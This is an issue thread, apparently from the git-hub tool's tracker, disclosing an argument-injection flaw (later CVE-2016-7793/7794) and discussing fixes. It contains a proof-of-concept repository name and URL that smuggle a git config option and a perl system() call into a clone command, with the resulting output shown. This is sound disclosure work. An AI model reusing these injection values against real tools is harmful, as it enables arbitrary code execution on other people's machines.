Missing sanitization of data received from GitHub

[jwilk]

git-hub trusts data received from GitHub, and passes it unsanitized to the git command.
Malicious GitHub operators could exploit this to execute arbitrary code.
For example, if GitHub reported the repository name as

--config=core.gitProxy=perl

and the repository URL as

git://-esystem("cowsay pwned > \x2fdev\x2ftty")/

then this would happen:

$ git hub clone https://github.com/sociomantic-tsunami/git-hub
Checking for existing fork / forking...
Fork at https://github.com/jwilk/git-hub
Cloning git://-esystem("cowsay pwned > \x2fdev\x2ftty")/ to --config=core.gitProxy=perl
 _______
< pwned >
 -------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
Error: git clone --quiet git://-esystem("cowsay pwned > \x2fdev\x2ftty")/ --config=core.gitProxy=perl failed (return code: 128)

With Python before 2.7.9, which didn't verify certificates by default, this bug could be also exploited by man-in-the-middle attackers.

[llucax]

Ouch.

[llucax]

Do you think it would be enough to use -- as a separator for references? What other kind of sanitization do you think it can be performed?

[jwilk]

Using -- is probably a good idea, yes.
Apart from this: repository name is used as default destination directory, so git-hub should ensure that it doesn't contain / characters and that it's not equal to . or ...

[jwilk]

Some protocols (such as git-remote-ext) can execute arbitrary code found in the URL.
git-hub should validate that the URL returned by GitHub uses a sane protocol.
It might be also worth verifying that the URL actually points to GitHub, and not some other host.

[jwilk]

CVE-2016-7793 (for missing validation of repository URL) and CVE-2016-7794 (for missing validation of repository name) were assigned to this bug.

[leandro-lucarella-sociomantic]

OK, #203 should fix the non git-remote-ext issues, as the Github server can't inject git options anymore.

[leandro-lucarella-sociomantic]

And #204 should complete the fix.

[leandro-lucarella-sociomantic]

I'll release v0.10.3 soon, but I'll use it for a day or so as a way to test it first. If more people can give the branch v0.10.x a try too, it would be helpful.